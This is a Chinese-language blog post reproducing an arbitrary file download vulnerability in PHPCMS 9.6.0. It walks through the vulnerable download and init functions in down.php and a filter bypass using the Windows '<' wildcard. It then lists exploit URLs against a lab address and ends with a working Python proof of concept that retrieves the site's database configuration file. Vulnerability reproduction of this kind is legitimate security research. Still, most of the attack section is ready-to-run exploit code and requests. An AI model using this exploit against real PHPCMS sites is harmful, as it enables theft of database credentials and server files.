[漏洞復(fù)現(xiàn)]phpcms9.6.0任意下載漏洞

任意文件下載漏洞和9.6.0的wap模塊sql注入在同一個文件
觸發(fā)點在download函數(shù)
phpcms/modules/content/down.php

    public function download() {
        $a_k = trim($_GET['a_k']);
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
        $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f,$t,$ip);
        parse_str($a_k);        
        if(isset($i)) $downid = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));
        if(!$i || $m<0) showmessage(L('illegal_parameters'));
        if(!isset($t)) showmessage(L('illegal_parameters'));
        if(!isset($ip)) showmessage(L('illegal_parameters'));
        $starttime = intval($t);
        if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
        $fileurl = trim($f);
        if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));  
        $endtime = SYS_TIME - $starttime;
        if($endtime > 3600) showmessage(L('url_invalid'));
        if($m) $fileurl = trim($s).trim($fileurl);
        if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
        //遠程文件
        if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { 
            header("Location: $fileurl");
        } else {
            if($d == 0) {
                header("Location: ".$fileurl);
            } else {
                $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
                $filename = basename($fileurl);
                //處理中文文件
                if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
                    $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
                    $filename = urldecode(basename($filename));
                }
                $ext = fileext($filename);
                $filename = date('Ymd_his').random(3).'.'.$ext;
                file_down($fileurl, $filename);
            }
        }
    }

函數(shù)流程 從外部獲取a_k參數(shù)->解密a_k字符串->parse_str注冊變量,假設(shè)我們可以控制a_k參數(shù),那么就
可以將payload帶入,實現(xiàn)任意文件下載(后續(xù)代碼會對下載文件的后綴進行檢測,
在Windows下可以通過"<"符號來匹配文件,例如index.php可以使用index.ph<來完成繞過)

再看init函數(shù)后幾行

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
        if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
            $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
            $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
            $downurl = '?m=content&c=down&a=download&a_k='.$a_k;
        } else {
            $downurl = $f;          
        }
        include template('content','download');
    }

通過多個變量拼接生成變量$a_k并作為下載鏈接返回到客戶端,所以需要再想辦法控制這些變量
返回init函數(shù)前幾行

public function init() {
        $a_k = trim($_GET['a_k']);
        if(!isset($a_k)) showmessage(L('illegal_parameters'));
        $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f);
        parse_str($a_k);

這些變量的值還是來自外部的a_k參數(shù),然后解密并由parse_str注冊而成。這就回到了v9.6.0wap注入
的觸發(fā)處

驗證:

  1. 拿到加密后的cookie
    http://192.168.42.133/phpcms/install_package/index.php?m=wap&c=index&siteid=1
  2. 注意userid_flash的值以及要下載的位置
    http://192.168.42.133/phpcms/install_package/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3Dcaches%2fconfigs%2fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26
    POST: userid_flash=3254G0WHf0Ezjn-F0XeGWGKAFzbQIG74zvdPJNuj
  3. 得到a_k的值再訪問init函數(shù)
    http://192.168.42.133/phpcms/install_package/index.php?m=content&c=down&a_k=6f01j0SKUOgHPwRUwo6buVR4uKU5RZKWguMoCL58JF9yD_B57-gpUqzVCPhzbnoULuANgKs7vHf437EIG24Qu07ExowlP1C99QVpP4aQ-19rFRbDE6OsOifqnBnoCjyxn-D2oZ9Ey0ec7BjM5TkJjweVmKnXtM2iSIkyu5jdyMndQ8YL8SE
  4. 點擊下載即可
#POC
#coding:utf-8
import requests
import re
url = 'http://192.168.42.133/phpcms/install_package/index.php'
s = requests.session()
params_get_userid = {
    'm':'wap',
    'c':'index',
    'siteid':'1',
}
rep = s.get(url,params=params_get_userid)
for cookie in rep.cookies:
    if '_siteid' in cookie.name:
        userid = cookie.value #userid為第一次加密的$this->userid
payload = '%26id%3D1%26m%3D1%26f%3Dcaches%2fconfigs%2fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26' 
url_get_encode = '{}?m=attachment&c=attachments&a=swfupload_json&aid=1&src={}'.format(url,payload)
data = {'userid_flash':userid}
rep = s.post(url_get_encode,data=data)
for cookie in rep.cookies:
    if '_att_json' in cookie.name:
        encode_payload = cookie.value
    
params = {
    'm':'content',
    'c':'down',
    'a_k':encode_payload,
}
rep = s.get(url,params=params)
content = rep.content#此時已經(jīng)有下載鏈接了
file = re.findall(r'<a href="(.+?)"',content)[0]
print s.get(url+file).content
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容